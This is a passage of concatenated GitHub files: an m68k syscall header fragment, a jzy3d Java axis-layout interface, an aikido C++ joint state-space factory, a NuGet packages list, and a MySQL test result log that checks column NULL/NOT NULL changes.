: "r"(d1), "r"(d2), "r"(d3), "r"(d4)
: "memory");
return d0;
}
static inline long __syscall5(long n, long a, long b, long c, long d, long e)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
register unsigned long d2 __asm__("d2") = b;
register unsigned long d3 __asm__("d3") = c;
register unsigned long d4 __asm__("d4") = d;
register unsigned long d5 __asm__("d5") = e;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
: "r"(d1), "r"(d2), "r"(d3), "r"(d4), "r"(d5)
: "memory");
return d0;
}
static inline long __syscall6(long n, long a, long b, long c, long d, long e, long f)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
register unsigned long d2 __asm__("d2") = b;
register unsigned long d3 __asm__("d3") = c;
register unsigned long d4 __asm__("d4") = d;
register unsigned long d5 __asm__("d5") = e;
register unsigned long a0 __asm__("a0") = f;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
: "r"(d1), "r"(d2), "r"(d3), "r"(d4), "r"(d5), "r"(a0)
: "memory");
return d0;
}
#define SYSCALL_USE_SOCKETCALL
#define SYSCALL_IPC_BROKEN_MODE
|
{
"pile_set_name": "Github"
}
|
package org.jzy3d.plot3d.primitives.axes.layout;
import org.jzy3d.colors.Color;
import org.jzy3d.plot3d.primitives.axes.layout.providers.ITickProvider;
import org.jzy3d.plot3d.primitives.axes.layout.renderers.ITickRenderer;
public interface IAxeLayout {
public void setMainColor(Color color);
public Color getMainColor();
//public void setTickDisplayed(boolean status);
//public boolean isTickDisplayed();
public Color getGridColor();
public void setGridColor(Color gridColor);
// not for axebase
public void setFaceDisplayed(boolean status);
public boolean isFaceDisplayed();
public Color getQuadColor();
public void setQuadColor(Color quadColor);
public void setXAxeLabel(String label);
public void setYAxeLabel(String label);
public void setZAxeLabel(String label);
public String getXAxeLabel();
public String getYAxeLabel();
public String getZAxeLabel();
public void setXAxeLabelDisplayed(boolean axeLabelDisplayed);
public void setYAxeLabelDisplayed(boolean axeLabelDisplayed);
public void setZAxeLabelDisplayed(boolean axeLabelDisplayed);
public boolean isXAxeLabelDisplayed();
public boolean isYAxeLabelDisplayed();
public boolean isZAxeLabelDisplayed();
public void setXTickLabelDisplayed(boolean tickLabelDisplayed);
public void setYTickLabelDisplayed(boolean tickLabelDisplayed);
public void setZTickLabelDisplayed(boolean tickLabelDisplayed);
public boolean isXTickLabelDisplayed();
public boolean isYTickLabelDisplayed();
public boolean isZTickLabelDisplayed();
public boolean isTickLineDisplayed();
public void setTickLineDisplayed(boolean status);
public void setXTickProvider(ITickProvider provider);
public void setYTickProvider(ITickProvider provider);
public void setZTickProvider(ITickProvider provider);
public ITickProvider getXTickProvider();
public ITickProvider getYTickProvider();
public ITickProvider getZTickProvider();
public void setXTickRenderer(ITickRenderer renderer);
public void setYTickRenderer(ITickRenderer renderer);
public void setZTickRenderer(ITickRenderer renderer);
public ITickRenderer getXTickRenderer();
public ITickRenderer getYTickRenderer();
public ITickRenderer getZTickRenderer();
/*public void updateXTicks(float min, float max);
public void updateYTicks(float min, float max);
public void updateZTicks(float min, float max);*/
public double[] getXTicks(double min, double max);
public double[] getYTicks(double min, double max);
public double[] getZTicks(double min, double max);
public double[] getXTicks();
public double[] getYTicks();
public double[] getZTicks();
public void setXTickColor(Color color);
public void setYTickColor(Color color);
public void setZTickColor(Color color);
public Color getXTickColor();
public Color getYTickColor();
public Color getZTickColor();
}
|
{
"pile_set_name": "Github"
}
|
#include <memory>
#include "aikido/common/memory.hpp"
#include "aikido/common/metaprogramming.hpp"
#include "aikido/statespace/dart/RnJoint.hpp"
#include "aikido/statespace/dart/SE2Joint.hpp"
#include "aikido/statespace/dart/SE3Joint.hpp"
#include "aikido/statespace/dart/SO2Joint.hpp"
#include "aikido/statespace/dart/SO3Joint.hpp"
#include "aikido/statespace/dart/WeldJoint.hpp"
namespace aikido {
namespace statespace {
namespace dart {
namespace detail {
using Ptr = std::unique_ptr<JointStateSpace>;
//==============================================================================
template <class JointType>
struct createJointStateSpaceFor_impl
{
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::RevoluteJoint>
{
static Ptr create(const ::dart::dynamics::RevoluteJoint* _joint)
{
if (_joint->isCyclic(0))
return ::aikido::common::make_unique<SO2Joint>(_joint);
else
return ::aikido::common::make_unique<R1Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::PrismaticJoint>
{
static Ptr create(const ::dart::dynamics::PrismaticJoint* _joint)
{
return ::aikido::common::make_unique<R1Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::TranslationalJoint>
{
static Ptr create(const ::dart::dynamics::TranslationalJoint* _joint)
{
return ::aikido::common::make_unique<R3Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::BallJoint>
{
static Ptr create(const ::dart::dynamics::BallJoint* _joint)
{
return ::aikido::common::make_unique<SO3Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::PlanarJoint>
{
static Ptr create(const ::dart::dynamics::PlanarJoint* _joint)
{
return ::aikido::common::make_unique<SE2Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::FreeJoint>
{
static Ptr create(const ::dart::dynamics::FreeJoint* _joint)
{
return ::aikido::common::make_unique<SE3Joint>(_joint);
}
};
//==============================================================================
template <>
struct createJointStateSpaceFor_impl<const ::dart::dynamics::WeldJoint>
{
static Ptr create(const ::dart::dynamics::WeldJoint* _joint)
{
return ::aikido::common::make_unique<WeldJoint>(_joint);
}
};
//==============================================================================
using ConstSupportedJoints = common::type_list<
const ::dart::dynamics::BallJoint,
const ::dart::dynamics::FreeJoint,
const ::dart::dynamics::PlanarJoint,
const ::dart::dynamics::PrismaticJoint,
const ::dart::dynamics::RevoluteJoint,
const ::dart::dynamics::TranslationalJoint,
const ::dart::dynamics::WeldJoint
// TODO: Support ScrewJoint.
// TODO: Support UniversalJoint.
// TODO: Support EulerJoint.
>;
} // namespace detail
//==============================================================================
template <class JointType>
std::unique_ptr<JointStateSpace> createJointStateSpaceFor(JointType* _joint)
{
return detail::createJointStateSpaceFor_impl<JointType>::create(_joint);
}
} // namespace dart
} // namespace statespace
} // namespace aikido
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Antlr" version="3.4.1.9004" targetFramework="net45" />
<package id="bootstrap" version="3.0.0" targetFramework="net45" />
<package id="EntityFramework" version="6.1.0" targetFramework="net45" />
<package id="jQuery" version="1.10.2" targetFramework="net45" />
<package id="jQuery.Validation" version="1.11.1" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.Core" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.EntityFramework" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.Owin" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Mvc" version="5.1.2" targetFramework="net45" />
<package id="Microsoft.AspNet.Razor" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.AspNet.Web.Optimization" version="1.1.3" targetFramework="net45" />
<package id="Microsoft.AspNet.WebPages" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.jQuery.Unobtrusive.Validation" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.Owin" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Host.SystemWeb" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Cookies" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Facebook" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Google" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.MicrosoftAccount" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.OAuth" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Twitter" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Web.Infrastructure" version="1.0.0.0" targetFramework="net45" />
<package id="Modernizr" version="2.6.2" targetFramework="net45" />
<package id="Newtonsoft.Json" version="5.0.6" targetFramework="net45" />
<package id="Owin" version="1.0" targetFramework="net45" />
<package id="Respond" version="1.2.0" targetFramework="net45" />
<package id="WebGrease" version="1.5.2" targetFramework="net45" />
</packages>
|
{
"pile_set_name": "Github"
}
|
DROP TABLE IF EXISTS t1;
CREATE TABLE t1(c1 BIT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bit(1) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 BIT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bit(1) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyint(4) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TINYINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyint(4) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 SMALLINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` smallint(6) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 SMALLINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` smallint(6) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumint(9) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 MEDIUMINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumint(9) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 INT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 INT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 INTEGER NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 INTEGER NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 BIGINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bigint(20) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 BIGINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bigint(20) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 REAL NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 REAL NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DOUBLE NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 DOUBLE NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 FLOAT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` float DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 FLOAT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` float NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DECIMAL NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 DECIMAL NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 NUMERIC NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 NUMERIC NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DATE NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` date DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 DATE NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` date NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TIME NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` time DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TIME NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` time NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TIMESTAMP NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` timestamp NULL DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TIMESTAMP NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 YEAR NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` year(4) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 YEAR NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` year(4) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TINYBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 BLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` blob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 BLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` blob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 MEDIUMBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 LONGBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 LONGBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinytext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TINYTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinytext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` text
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 TEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` text NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumtext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 MEDIUMTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumtext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 LONGTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longtext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 MODIFY c1 LONGTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longtext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 BIT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bit(1) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 BIT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bit(1) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyint(4) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TINYINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyint(4) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 SMALLINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` smallint(6) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 SMALLINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` smallint(6) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumint(9) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 MEDIUMINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumint(9) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 INT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 INT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 INTEGER NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 INTEGER NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` int(11) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 BIGINT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bigint(20) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 BIGINT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` bigint(20) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 REAL NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 REAL NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DOUBLE NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 DOUBLE NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` double NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 FLOAT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` float DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 FLOAT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` float NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DECIMAL NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 DECIMAL NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 NUMERIC NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` decimal(10,0) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 NUMERIC NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
